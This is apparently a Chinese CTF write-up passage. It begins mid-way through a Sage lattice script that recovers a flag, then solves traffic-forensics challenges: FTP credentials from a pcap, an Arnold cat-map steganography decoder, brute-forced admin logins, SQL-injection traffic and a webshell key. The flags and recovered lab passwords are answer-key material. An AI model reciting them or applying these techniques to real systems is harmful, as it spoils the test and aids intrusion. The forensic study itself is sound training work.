145039913986726734640443101075627222910602442447481053277611237274811259324660816125257827766775746142629676534972059222427401630909520739191658228830603650486766806459878259176849269750915261029018020985442775996379009623413705405548267513753762878805445400363459109011691722983298755693705526184061696564570, 123284769421049973004735016065068623797199787111518527615552800374526464233445417335071664545759473279602338734296536991665529070667910019894856137643164113007410120471822185881981291449665881595231701691655922541414725164929641678460738892391054064922034718506201850644361162575867838542207653731115580816382, 97548894293855223277982414765626004875361442313811829490743654422999765819063571861634004451799743087240522450502506162998201124603840161266991369908588723027804039086213785515847725390697188268955031299420619416796513928319945085010166806163668338421333683056034118158426820884153599727373456608435990431279, 131680995287134797965690286931021085687478995175547017133480016058208325865324992715128146383106534357131979545137188801303047425155265495574252504412362429953314205990334937626344415496078788385925626399540530803991613787800313567339355428931165402187086564785155515966057324660779672221959901394937554595001, 177126722507065543653948242065217454127743075541242903615590826011238942054841865185170178723219259976915080273486360247954006168661260696521511100571229187257370054998940173898852529523160095055735391988055974719200837433792286355592333555339798276672349813553342276367303514446970572328092504868694274119055, 34699771015194385321380377500360109687172199145812908687295030368215589178809535353092871704046992223957705099829088988197057299764324155112529115389942648032028838666728378837684335470988010024414212120196714387711382395771168995188616946377700809758092860220742690776646327549766619529521108594424751816478, 91867786335644659507022363543350910330512812038317578062795369575147220370900967236130902884869312597050681741594434999552897656000520824505662849690490663246678974176955806236724809049473025969775131701459693026870613611352210933035560668897908512184009613587096403044586820964716269360511583216493604885239, 110214780927981353209205448142990085118988085596730755894404476324805055608503211884321577281881938923248198369108590626834786618475667319154389738660048820157172218199681968928355718750749854432990891716112619374974182684560103004936254524160137779770319263129551641167843824603820929879447630177547156224384, 36305593799597248535860122935907983157834856000238825492942769750304350558843835751078311318714431915077287998778809818658643287700303309614706044562297772004370881188398001451816718042468923208871333079019805585960317915542186408798006962381000111964130138324976582873978393125784196755539544606302932888626, 77484937827893721203420653344384045845059376261711178182093823778482141145431897517764563495987856916610661409605336125217528333218879872387827639184919187087331032159935834764465757105297569791402839449311364160760859095133067214854653922743679027777511011541543740800575917764374566802169570185311308428271, 109291927100920440540496995754929012716002585124426418851851289887720648604709781426356481249905043266330536636538214787751192651970576339604449849817721517199364178514784087900393053430414752437435643439745112654541647621137501348139955645884179753512692707541149603096210665635377287887773798707598433974375, 163691764762923712374186094619515878117421780563384827066395635761676407136761477401994201389946947424768258603642084106622594316030065509218014613711226021043388599996140496220883276766046663678219080239898700336375702312901602648294572329594272054786664058570648727551770808440130717498689935575739814291133, 70949889770256360273606453707803663348821790663161705347439744221648390316594442580901792415433914126719016710660801467146916267166026221432361728752954237814606874696552422118886571747844884516655859467436756580987543604502333881113146621951523501109006827953569334807867358679994748912171422829753900788811, 148919367132517756492571451153333022360057739079969568824763485557589017473212694732285811208483962272390494127363132944958840821490735947494124798329577864585496818046986609932351315365435613232913858398558173761979174358084631724495722813573361962925721710798440361562420344477765399568360401164411195205191, 123470754179291877822884272605730722025820748729015251780644956776386503785219192507096043730913074085449283906087854419491407505710433607589394720975419584113595301438226166749167312695911351871066645161873774078256979897850489298289562670587817221023142608466186172300334169049444723791232416453564605951823, 119326483843525738555553897625967528899377448416136734508996439119695374661863222519300789849074101648189921228909991157710706651089029243049454207091680092460904853900605420663808057649005439109156429763674012781185727913068405322252499636644228309378393740443813515680089677364700112645958415635628686097160, 68296043967786083573069758266693870520415957487874717289865307405348337570908823115746253302176306324593566954398273990928310415018032510538149238113828361794008542468483943632272459288484889812431751527198922693137864742091396772209977282790462930904394472629468239566524115489176491185825048350911283580244, 80162374119675951817572858338882850379184520474198899784383428375721792383277681590703057215627621077091559858834316238844572308183428395575261671966411060691334703430448718571118233607745509188042405507275719062948862941877158399222281718813896928655840203219844515873499882348386094132789558677910159182211, 33034226543002690928759395089630427046941975354981544207082249889319525309851780384467583606484360837104311123495855451055005533108658730830750201035697379265671196939719752625475707401405868505203571439603489121568644682756420113800235828951133632851723009341306414900850161401692594391071923258271980855453, 156776970964440479657219660883931470092241901140609260585087649072746255154019123059574954365010219899700865378202219728204086678106079463818672501195466434205049898057874669482123741727010975112846084697597187342110041799832673281492394979244215835094611773355358805249088306271921419862325581792645601666747, 99472151197767684333893858570288856885021681827500759259206786320026190439563989383337385812569096697145643668507264406800132910850858388839434689876369347863981589789768769880832120455408021865716210251731880020693898483917136554330711839094360713929890738676331585809896280941938013074292718705323672051300, 31252641955174120738804960739019560682355328138191726433702530849284141548093249746250822739596899920595946067236611894160784279330676023291419954246252444223125014844448993019739940475867992707042082612609853808487493483079822790476594313252597989319562530852444511319330740104605450715869485724348494236453, 102468215396335173059957418960372290664580713803455090647178317607855202847258099356873785924324671882406677932000125944474921941779558310637259754459841292507949256371857756759528977881198864994643980880524359157881609857090107058515509344463016819702351259564078173304055804923149403845060406538197912132341, 103183750170661508719471858704393922392137615955162977637388720642482566127805659720301274472019680525011595546388382227991419462223675671747921894184869587069413709616899614864483420044811112114110251709511235681841236862676662543024168753587700514509997878286712889352297240070681609692812979325148025876236, 173835597727580836680310499945225248749110821346167590181782030919374808789667965897190832106068171320389828379762284144891209388530751307248337382678539107801675149014108157485095224392179045778895833432787777834297981744900811530945936649536237572845784613047320878097471648490748569743828433889661002121055, 125670762065702410588764072104429960852357569512039355294206533078529729397007329561962869043041977024334667405174466307145331951297616806797021073700721800816359984571099958164961048601490483635694490159083654549341134850827927061905379699387728370204377161498621015479311076698367271996481758897265108481099, 161705188397984367143409908353865243174007303217713351009062660643119363159394949883898545079693214623783330871476383103807711722352420308817844674365043814421931217754383545844064216080637438108702133463081623257774193847430506713016960901659197014039670011018974441907270335666496758470040420183436838067602, 16182226060188664424587585854926346026307895740137453558875766786019070113761569935067913694617309619088501300130690635154978631957454809838159987807675544385654248658166842244792191891143381077958921605380315454914217234791129190723058038194369898747969544296306089285035050432819103268522251832223963042840, 142275386709747871216150198782347937202339873093593354835292692903711034993096190994676257252584641949728944024920064116114955751105007921254927671635190610045942979875997156016323585254694563543817674741417753589973304631827515414143407534841396163620847720191001790961004597473772580752823553510116536720298, 42960752480981299692931445648895891902995309609708504874879932723471826868103679315532344854224073111073849112344035544768945488244136722378732712972800928839894529732568708398729762406876387991957802712696036548572876090202409177034107242528674792865064587388266029988572629973287095128607468519423213512697, 148851858948545015751181569809272133323088182595597561860524269251916908922908593950804496685272167313674895164013236002883748060771067368825843412383448839727508874310546100564797449471732902507853469656316426244871729494222845414480371233420694985044127610253562457217356986841382999977886640275137915068288, 39507950883813196854061043610372631628930487122755694741608759616582538497516217400988142058331609345188901999165059604671409188337100647666963298624050391705871633169170674267305847538060184148871731891461618256604893216011177785237246709305039200428438020206269253282226664335197346989439004704338121367304, 177215676173209484029192954720568566689748126740248645426077513109738016464329715385366983839623684929212413714709198140583565797536568077583254220938399313362624063249017348291125141567997829933901958414271992550621764703399875253353881198986475163670026146210914911029355627716033713050494046779074372136264, 105800737532138110712014047050801969825920581159022815179852348659422184311842836774233643521782154724039552725711602729194457374290724934054948110603333573700795922478276522236732874966265451252365384516632148340229064041533763053226281797698864930364649762709263334269376054308679203360319984487039030747633, 38954698657685447533057379991370291401731702199228973671815905235774885282502287550038031180954266305840713227220081284868090685582037839751340286937777876619898128134254237391911757812101006541319744596010922100852025226853413143378122468472965841049185047366696550253244835962141769806870257710447878162225, 72998406053451879086531726211188462314083293328816230393607353748064016167542798159053630035012143353317513267339482630611382544828810057223782344422363234661025954264056785126682805778443445766291402712867718345248082967434977645713635888798920808821998120473029368535170896943931287637776540553190742312560, 146950048326162668784009756634942758620017966046267074250016865251676016574012266496002972366295448122784940080195246200982702595083881741361184639760899332215195179860427955141866758274698966399372128513289009958513067294835335129456641948134086532454128737745337025197373972793654297648217296550774682453422, 139632380515564624196286428811422786165275836141040598805293576862379577719542081247397854747930318649527299601358849271593589722017964286201454399822170246743109946718225485264474648058517258279096529497447820079926333564729400203153759230886054148560361230686665701219443352459303750983214339785335032189039, 168445814502469583929860474321387158258280199524920389726684486032529277142326976684593463848444840455997195997134171849388075235335316450603935180503613023593273923516135892152487527366438267669426421172096360809461476706910353763559026253192436281860701274359000030992936503452068652165631950011556131239746, 83125661868933892558609387159007085463028382465507703989927863271695544577104460977574202319346907879944483049518736970861086854053473115743971969127972097575827041348545456196243935890475201193358745940403973591918447904157557490257061056389816123612628294625265399393903856198171764835257067985951287116895, 105599660044305247351858974812145107835273677634769443334202322952407276189180485459778105370242537793186475462453555983267978764800893332833714419464627111569015599415194113488036174855960815590972856153196349425790525328370115337943783299136238453499218896353700793782356964923358833223167104692240404661214, 64304792093510629695222160838650245671378850977009233474113399244107384022281005487848021555853312096627130925060409803194439046870721250066614916103660947025560371948645837673846504018422007533359864751608570876681796198851043948231455653720163803251559179097922707793268264982909698328668349835588452481926, 86574039480610471089851342026520738849113742584039981496678362636969194465155450346728190537621184713465806105111581678415891280807941064744008700262581828999699674430603026357669289407072437290157356368518501440844288630377689418116267776369322596622137432250161422778760031749933262858720020319943458153832, 8956894611464620135796186619282727724606269755245578786852275210597347368000927586805853702715268656168288895203199679780697345367925919833243831851562995844284316558918671046798095897299874217757362889867541844717908502086273888072946454158280042152790616108118145592550996851459927942597903948673928833842, 71868054891079321156059046288082105084240172303218802011764355029300476764404649921796153800952912756101881841690683138022493839782634906194618372437789897520463877226972549256433558413330443017581580348331465471986896552322053751679094819797816760414795667263169642366079932978136982829676762281519467183967, 87875617678575394393954106112535076519363320874849637219071850897888767200369543438786856109264776736684896547730039730644576072632415484155118048607893910379678339238874901755498390907680925296096281511129423905154176663803007525081232075322197014660563291440052135130548246861072123742284219939887078893897, 4134121102966833538181941633832333171559932897839360272221114285967868010589301016184932063139671026543922177359177736841814557954785364483542167320798382722295521886655622670796657721490698062565725037920799797437468631993622483890316644449701445816337840968160752643695059996754393320193214258293566238994, 894631117889888437271954324282270990500503756393570797459731904810633102118162485651038401556154146204110860620347220305150251433947944427210784461566277353615446238280775960756964509606115133508163127700296225465288059739815022804282885345003294928424053207480027169774871451965841046105326228334216177558, 59783221829422609616418064928509358667673019575169649608604322059388614323421926896644975558094128478077989726667640785871234670546525514052237372841111350635890239962917156964439198168252796307095248208152337773313864489886783237089635068514121021804801857886143048338977378196934234545442497464259604119007, 42171850039241721232346676197169155317191078261576277899762345400409581525437727656791094398645980973744041864264514409641159840641490329034667693095850933258801511065766275735272159610481730209833869727506536451800448756303038110607797760891403381034070510088574541847666366612214312273560039429662351086799, 1504950210687362976799203530609676966055462581024919404609896210091498877684354703465981670395195906372651779615895773627294372936147599065482227064462408616669263808502504002802271742291713838278740123662869174160803634953456997717108360003151462428056996657274748975655535018431790593567202613608763737223, 156154725626795049981693893228560293740696364641888714069887959295987992018621536255453976162613138033347252238850956586005369048483483686155295953866932340503590768412584767519392574270160148145532403501792989990262617007275858337070452891952404986188043774194429092928555112227952436828530787926390140974638, 22031213133759412459410021070496253482515035142501728063510468746346220929637955648604728563886694765642580964630601400306651206960856152894147770895296382923742021322783118361737693097707659717419281143736487844685479957873919947320967030605240338968224969468756987603999162300442904696795210370602452151116, 86835213867882675891629624340202057118737381581442845388473059085354008417460094269965765295828839354704205586098496828457518189180541376641175005194453315540375488616419370150624193317100364087602906580122362569543824697959384717408736350242846247073306640656927454447261874232941468200424340807409312518630, 12973293560270116264519274853395024428157456848241589980486590286824293946162043992097966036122036447403249967159723981695149703660813431789200185124341787866718017697975088768180532165714786214514028388175819586213039965471229177652293817049340058393926753332871663383940389100852764182273998474916786311399, 140691859914608260224649602149998313949803951683701394265223173698627749574267623261188737913597901444068905416946331011903039122029824494559179770203875071217961760246534676933784192925103556746583643811435988682559857199252095603123580507695234018512883297150851559976805609099597589008526663572272405188085, 48774533160824440836299125626225144141733192216805909850682683998405662388008302186710864509558934046830746380377758738747932905798479649777052056399942406501284607392817545897079957295338817568174360660243402877541055301391565489066544411010630769223559651711005764526364287775974218655810521897010821267345, 137436289854529350156725034220052758507077762167904964370004076442374725766543287303878004415997255037559062717712696014579373148821302954774945058859556780403560873623817768159391495309824018847192611149646981941435415134218361336780841625015465820305533258191028769615970313344398563353571630483505035370680, 85679985645228302108165012986527373052906006774771175650961885922364426906534320276979456068944257132215890695050072679384266368577285583113778732296906132653894085123431253517368623951188506406892289359753755156034599127653230227305709681984166088583944569294472779571138681999621640178503304348851162826808, 15605893523793820632437302849726712792431546391874231051259208301676218932198241042512026487688528272729648414906586247816721221883206952918960297610931527170914589768467542889287532960130128494066451404569535584608897195653312122124811409529113693820785120217796446877372305371300469574159349952111772906112, 70460773256881491260001950788247723536522192907656652842454699674114407681372636675636484954972990272690881723430546344369249435767220061782729978039068279846044033639900612883867363823214204170936684513731372842820373344663826404248196132705147299576766207694429916459452020075673683275644172005357288075438, 88662680770860168174248516167646280413380151950610718495708206608372816457022665443581909147356393001534490403894010571292114974093186952022319760100326630516556938657149091799734401529959864334698611355373242677304003972184901588259440987976636058228081893712908239231207689225319108204277884749725407933442, 70157899442871415116398487788840645264837140663776789272190829332262510532129110199157220062358429569047294509124679961762314987633512625708987462305531121775632930894051933918588321591949327627205159641611252081300167904059761719566498881335443491357991816185197216906994665602430108670278050242773263067100, 157477487822566388992868278601806088056710220400863959619797054464015042534535517933811129793565168002852631060543971808130899629127371484553316879333438916352129907930957323374365506486848081518568116378772607173905362489997482298623883819421261070866445394649904141993529953382347601767843198778213300389996, 161294578090348690527083930521188883862381657556324141670495572459176109769829718225834949566921846716318186198401027173661952398764910345847385773441251104050052896029575528549640107588112968453393667341578281278676479749346229932899017494033448541641145672775886160722331855736882981030597001572255461358392, 16434384590257200453991561235873001407747548220665060149957226877490303045015671299174432351298623489940540635310202776109250967316361192132365156009354348558114905656553583964427418593467055359134972567348275826524094992589162706131808511347654325730975138016237056654038758876949079885332347218064407961293, 81065683238815089103886802685621512995399333955459366892639425940741157503251788976034545698174910151810609999521292087006627824198141815060609478835183780136567954198818190888566363848452862955196761843134414508210909293457126174713235183407768884671915187298780404113216295899812916759269355605219145115244, 177040459115212434075525863528779384270224782980993724710339799121661788321585337903771254364482836848029115742223018022255570358548042597247603277618012392836336238135130591138781920915053732042639426874149789981936694586687690311515323018787176970727288201396809749862503517583720362779148116225033933330966, 13776277350005564228811032011534617061925711751258388672086931817292881372697328991985654731755379495303114655606336972705859324930408502395665011943331424786522736551093156218767836695282033091716510046218444737936883695761848803370555871124646201760018274782304209098007303947876698237780200958667856229633, 173100830051739928519580309034919143130083523359498436026648678285302517043427762784092748918958120624339674852418643770185011305108458484858439415570651188959883257215108766372292123005667602873039243777621916805345782298518942372098803107375791273874262540139923197792310499781297531349709406244761042961450, 78534452630191216812180072021243929381052558693587394294692168921631569071109410320244896773466408496056802437947538994927869404226531815963052814702390953236491784466223959183433355066324594882328009012887623961646655305022954135576646446747713208772090170111168442401782223300068622206243237383211237960157, 6445985422381256686456123656414050104764931737674245625588027087631776453960065510350912736624866237032191311621448820451389932103783568919800945616441830638504204641524710506408647989570285673203815076865383939888884358135686587792448102026092589055803787640266534898973798774745041080484075436121150289783, 147999290355731760124605856700284925057839342595835977318354386650101913427238298060061378189969311511448876567814191498727783756709139818519454486515358785313706154543412819755980289056345884458723634025719463593042965557941052314426340666386338283020722177355511642760365817482973626892592769244662742160460, 149569388712672752095535283546060722072697187866215967167311912371858248875192420476161506162947035399165448536218365197821989647297583012545203105066716586939999677935350128111168811430309832404275653741171251019329384976546333626697164954983601741811242783983748527972206871451410920026963902264720599155432, 44348975271779909600154067359237399349931894294127296408390735197288582011340505309748522022479997627074935371643445007977095580269849645516111252386079314542418537122665490946674603275984002008007795761196172218699413839719408418430619932755160209661971098777203185880483969830755954105115450769631109904147, 51645234599343842221403571462737389216701689381146707878365244349228390505320294775642463261144299902169446198845082817988290976339964255508194322752409913945324045126261663226534995510484471008948753149469848029876893163930011293908543633651637016186807543069867920003965984439817251488944948064513615710961, 92754000963621345519269879191275959678205647523430394959810293262425341222559484651847123132319368035296951137642739923728871177934042689088279719824924748768050979081214404044486376656857004867468714799653973405309394427809407084229257615074465257070332840260827483372688110356710420907257962494451193889372, 107982190211073658705162423013876398902903313216032979849266606211184279346398405952704447792486131108192920985072507430917141684420667763917393232573155736776659483783360501608319567999915058780888386869412643916117819080403086052380115882371605294376727906384204970360510034730189772560299903510998543358538, 56670229986012613792086084143875795404047947042949444997945022361301459523639857207398018806808154707061714072565652582235816772069480994332258722538043667186657918369115455368671206521657913884779768006930716327821297443288192307842257926907679984051910203704149249003522937833697057752559589578842692272811, 97961302669564201532795501865145424456518084444226442327278309953557408098879036431498801591264880225813238057384378005051932832458195812817681396793305636612211863608129543140386939407731426511594241208427351142455903977999065577817813138886786728150003925035324419772447926385673303320710164857901930096885, 130423303710489103962616270308342253978958732873205410350527942213924738527421852551096306754963795663573748199043516757642572846799334174903424854634791700847535982585290644037777926369861809214679643333065323395831125643005658222688414700397579526700334284760727833588516639807868656380783573111756367714865, 120928417551751853845921128086630708267773593703792172650466402293929697601915134765396360635407354546846528450411624340666529160754746504916510110325875013163824190467708266026452290339938616315999018657554821093360772594889368600336113881932076377002886670274758025737796538649238395341638963184856934866671, 100423426928373450956547782636814610031014637511939142847386113406852485648225875117207543189437159811332624245841702440416295988555641964532104492309661011063474296783047198403348100580959316191012282258405455563578724797708317059345378096622106081738302620738317378951706765665561139251793642956449117415115, 42434553606014823781788929869218892285468053783257065647713195387568033470430046446091267549784450907512222703992176312011515335227838779893490914948830611779217299218835391732059819388275360763537958153804018244931348431290185340047501876117930399722567219827662662535865458390933319022350099819613997741546, 128291439688909139504530819334581408998504690844673906554121130224935605734856377616370561581126494755476932154880347861506952101507866016557856289527207018498715778121007193681508036599575462221358595054459697457336670491312285394177378043700187161569258046828090702926281379508679080509534014037870287562203, 169215201348062713112232180104970068849343684562076451362440571921851289080091105910875341090265380414611864926947565798674756590565543206329527406494205397099753228916711805251573191130419181622927308630237388195680211825388471659344070516478491546231262840107774512691693286354419643332019300270171481082292, 47132669604520390895399331452330759364598032036646840619021573566820223419846113109317973974523997988655086131244478755148058001413015830110365224311651399043617785941105218784187119986860188475880782683768097961977021159768201657235257218203747396122947757496331072477316804565008869267390154595929662126207, 6040584317098891472592551711305916720792198267520552522102537480121297059720143190205084093432201504292642260463000856771398749237878542296355386389913539224707753482593221388652000081197831652817719924435440508800170211156799518605565241840402057168133664407748790326229104749804148635448085462828672780499, 132705941639977403378294993213899035987354343752766893419928481607140639706068859129437286647980554995942686482491904791856294081969341347325674957875831908846579764067918116718505829167845332427594574811885042371341853291526424685261058488302438996475040668220369924946738067168653197566436458148047957763378, 7016521212753753335280516184839130160310511006817507995220857778120523140116647877239393314184078409316026277016137963373471636570562876291289099497730590505936422652687349768089752147679080459060025841726351227847064651100585114472087480819114887028847429087354191980265836834303010752362757367967248212207, 138534027144136805050744446411386731968049709302737356892910539741021379040642330470761478270781125864791842981868499727646679206036598801661963007548646156618967396671857695407566665717225172505843160483970997761643409336985633213141506956366609231478146236603396210695268563409790374550012434005739715103323, 35261070633398650462500001934480658111079457300095759384950685086742255696804043084490104444288099455942290773030026563643981721177305420614129868762594231418247532445373050770825163112386311036229901750040812068875640777402330004534008642269406952985332521954499613955841889345801424884570997714972895840586, 169986395169491734559109553161696843561747767385633449114446788043200394227854817911535711623120129402425579625933377558447419066380927503310593948656208960268596650649561862464137413470283503725195456647195588875505539551549556625746529632309669923234092176063176439416006835980772653104478918451063611139104, 94949487875049861698391753299375372042745064077324902323495408669537542558515127913394386966895012737600619032797893479127454535432849455848361705182691415788517668896567849436819562934415110142014876178443459796026942290109215528144894757520319511185606114526446401575378687213854483153962808816522118140552, 88505540980083182466767926104704784982790216938215529177750694119009852202314754566057999436786614274201719993667376511252982508177623695901510584394739767952834231622217499850172528276857389104127008315806241200928996842763338483139262557951066297679460964864797601390628266871055447532173035834022009410491)
n = 45
m = 195
F = GF(p)
h = vector(h)
e = vector(e)
def find_ortho_fp(*vecs):
assert len(set(len(v) for v in vecs)) == 1
L = block_matrix(ZZ, [[matrix(vecs).T, matrix.identity(len(vecs[0]))], [ZZ(p), 0]])
nv = len(vecs)
L[:, :nv] *= p
L = L.LLL()
ret = []
for row in L:
if row[:nv] == 0:
ret.append(row[nv:])
return matrix(ret)
def find_ortho_zz(*vecs):
assert len(set(len(v) for v in vecs)) == 1
L = block_matrix(ZZ, [[matrix(vecs).T, matrix.identity(len(vecs[0]))]])
print("LLL", L.dimensions())
nv = len(vecs)
L[:, :nv] *= p
L = L.LLL()
ret = []
for row in L:
if row[:nv] == 0:
ret.append(row[nv:])
return matrix(ret)
Mhe = find_ortho_fp(h, e)
assert Mhe * h % p == 0
assert Mhe * e % p == 0
Lx = find_ortho_zz(*Mhe[: m - n]).T
Me = find_ortho_fp(e)
assert Me * e % p == 0
alpha = (Me * matrix(F, Lx)).solve_right(Me * h)
xa = Lx * alpha
s = (xa - h)[0] / e[0]
print(long_to_bytes(int(s)))
# b'flag{66402e72844bf3c67a2bf7f7cab9a5fb}'
FLAG:66402e72844bf3c67a2bf7f7cab9a5fb
3.数据分析:
数据分析(1)
数据分析1-1:
1.请填写正确答案
通过流量分析,可知流量包中采用的不安全协议是什么?同时请找出使用该不安全协议所用的用户名及密码。(最终提交的结果为md5(不安全协议缩写小写+用户名+密码)。如不安全协议为http,用户名为abc,密码为123,则md5(http+abc+123,)提交48346e4b413ad63aac2d7e528f1da1e6)
知识点:首先分析一下发现很多FTP
协议,通过FTP状态码可以判断230
为登入成功
查看数据流发现账号密码admin/adin123
可以得到答案(ftp+admin+admin123)
的md5
值加密,第一次提交没加+所以没对,细心看题。
1xx - 肯定的初步答复
这些状态代码指示一项操作已经成功开始,但客户端希望在继续操作新命令前得到另一个答复。
• 110 重新启动标记答复。
• 120 服务已就绪,在 nnn 分钟后开始。
• 125 数据连接已打开,正在开始传输。
• 150 文件状态正常,准备打开数据连接。
2xx - 肯定的完成答复
一项操作已经成功完成。客户端可以执行新命令。
• 200 命令确定。
• 202 未执行命令,站点上的命令过多。
• 211 系统状态,或系统帮助答复。
• 212 目录状态。
• 213 文件状态。
• 214 帮助消息。
• 215 NAME 系统类型,其中,NAME 是 Assigned Numbers 文档中所列的正式系统名称。
• 220 服务就绪,可以执行新用户的请求。
• 221 服务关闭控制连接。如果适当,请注销。
• 225 数据连接打开,没有进行中的传输。
• 226 关闭数据连接。请求的文件操作已成功(例如,传输文件或放弃文件)。
• 227 进入被动模式 (h1,h2,h3,h4,p1,p2)。
• 230 用户已登录,继续进行。
• 250 请求的文件操作正确,已完成。
• 257 已创建“PATHNAME”。
3xx - 肯定的中间答复
该命令已成功,但服务器需要更多来自客户端的信息以完成对请求的处理。
• 331 用户名正确,需要密码。
• 332 需要登录帐户。
• 350 请求的文件操作正在等待进一步的信息。
4xx - 瞬态否定的完成答复
该命令不成功,但错误是暂时的。如果客户端重试命令,可能会执行成功。
• 421 服务不可用,正在关闭控制连接。如果服务确定它必须关闭,将向任何命令发送这一应答。
• 425 无法打开数据连接。
• 426 Connection closed; transfer aborted.
• 450 未执行请求的文件操作。文件不可用(例如,文件繁忙)。
• 451 请求的操作异常终止:正在处理本地错误。
• 452 未执行请求的操作。系统存储空间不够。
5xx - 永久性否定的完成答复
该命令不成功,错误是永久性的。如果客户端重试命令,将再次出现同样的错误。
• 500 语法错误,命令无法识别。这可能包括诸如命令行太长之类的错误。
• 501 在参数中有语法错误。
• 502 未执行命令。
• 503 错误的命令序列。
• 504 未执行该参数的命令。
• 530 未登录。
• 532 存储文件需要帐户。
• 550 未执行请求的操作。文件不可用(例如,未找到文件,没有访问权限)。
• 551 请求的操作异常终止:未知的页面类型。
• 552 请求的文件操作异常终止:超出存储分配(对于当前目录或数据集)。
• 553 未执行请求的操作。不允许的文件名。
常见的 FTP 状态代码及其原因
• 150 - FTP 使用两个端口:21 用于发送命令,20 用于发送数据。状态代码 150 表示服务器准备在端口 20 上打开新连接,发送一些数据。
• 226 - 命令在端口 20 上打开数据连接以执行操作,如传输文件。该操作成功完成,数据连接已关闭。
• 230 - 客户端发送正确的密码后,显示该状态代码。它表示用户已成功登录。
• 331 - 客户端发送用户名后,显示该状态代码。无论所提供的用户名是否为系统中的有效帐户,都将显示该状态代码。
• 426 - 命令打开数据连接以执行操作,但该操作已被取消,数据连接已关闭。
• 530 - 该状态代码表示用户无法登录,因为用户名和密码组合无效。如果使用某个用户帐户登录,可能键入错误的用户名或密码,也可能选择只允许匿名访问。如果使用匿名帐户登录,IIS 的配置可能拒绝匿名访问。
• 550 - 命令未被执行,因为指定的文件不可用。例如,要 GET 的文件并不存在,或试图将文件 PUT 到您没有写入权限的目录。
FLAG:458e8dbe703531b99e3381853b3134ef
数据分析1-2:
2.通过协议分析,基于不安全协议,可发现流量包中共计传输多少份文件,其中相对特殊的文件,其文件名是什么?本题按结果给分。最终提交的结果为md5(数量+文件名)。如数量为 1,文件名(不包含后缀)为 flag,则提交结果为 md5(1+flag),提交:13fdbdc6aa7c5412c598e30f5bdbfdc3
筛选ftp-data
发现传了100
个图片和一个key.txt
但是这里加起来是101
这个需要注意!!
知识点:FTP-data
是指在文件传输协议(FTP)
中使用的一种数据连接,它用于在客户端和服务器之间传输文件数据。FTP-data
通常使用端口20
进行数据传输,而控制连接通常使用端口21
。
所以是101+key
的md5
值。
FLAG:717c0890a66bcf9524e87fdccb7d2bf4
数据分析1-3:
3.该程序员喜欢猫,连采用隐写算法都和猫相关,请基于传输的文件提取出最终传输的数据。注意:数据中包含 flag 。最终提交结果为 flag 字符串。如找到的数据flag{e984b95caaf7240eacf4fa44ea596b9e},则提交结果即为大括号内的字符串。
流量包使用foremost
拆解到100
个png
使用脚本进行拼接
拼图脚本如下:
import cv2,os
import numpy as np
ims = []
for i in os.listdir('./png'):
ims.append(cv2.imread('png/'+i))
im = np.concatenate(ims)
cv2.imwrite('0.png',im)
又根据key.txt
的A
和B
(猫脸脚本)得到脚本如下:
import cv2
import numpy as np
import matplotlib.pyplot as plt
def arnold_decode(image,a, b):
decode_image = np.zeros(shape=image.shape)
h, w = image.shape[0], image.shape[1]
N = h
for ori_x in range(h):
for ori_y in range(w):
new_x = ((a*b+1)*ori_x + (-b)* ori_y)% N
new_y = ((-a)*ori_x + ori_y) % N
decode_image[new_x, new_y, :] = image[ori_x, ori_y, :]
return decode_image
a = 0x6f6c53
b = 0x729e
im = cv2.imread('1.png')
im = arnold_decode(im,b,a)
cv2.imwrite('1.png',im)
plt.imshow(im)
plt.show()
Base
三次得到flag
,zsteg
也可以。
FLAG:3f3c1b49504191faf6576866f99806cd
数据分析(3)
数据分析3-1:
1.攻击者 通过爆破后台得到的用户名 和 密码是什么?
【 评测标准】本题按结果给分。最终提交结果为用户名与密码的 32位 md5(小写)值。例如用户名是 root,密码是 123456,则md5(root:123456),提交:972720049e7cc6a60c5052e426bb0a6d。
导出http
数据流发现一个post.php
对其进行爆破,查看tcp
数据流,或者使用过滤规则过滤POST
http.request.method=="POST"
得到账号密码 根据题目意思 所以是:admin:admin@QWEzxc
的md5
值
FLAG:95e1da8517497ee29e716a2835375eeb
数据分析3-2:
2.数据库中有一条关键数据(thekey)被攻击者获取,请找出此数据内容 ?
【 评测标准】本题按结果给分。最终提交的结果为 thekey 数据内容。
直接ctrl+F
搜thekey
发现在注入流量里面tcp307
条数据流解码发现thekey
随机点几个附近的包都没发现 最终在tcp
数据流 308
发现 thekey
值
FLAG:D124759C42CDF90C
数据分析3-3:
3.攻击者获得的数据库用户名和密码是什么?
【 评测标准】本题按结果给分。最终提交结果为用户名与密码的 32位 md5(小写)值。例如用户名是 root,密码是 123456,则md5(root:123456),提交:972720049e7cc6a60c5052e426bb0a6d
筛选http
协议最好一条tcp
数据流Base64
解码得到账号密码:webuser:1q2w3e4r5t6y
FLAG:a18b8e2d1a8ee267599b04be62f0a26a
数据分析(5)
数据分析5-2 :
问题二:黑客为了控制主机,上 传了 了 webshell ,请找出来webshell 密钥并当作答案提交。
直接导出http
数据流 发现shell.php
查看数据流 直接看到了密钥
FLAG:4825376109164835
最后感谢大家观看,祝大家每天开心,继续努力加油鸭😊!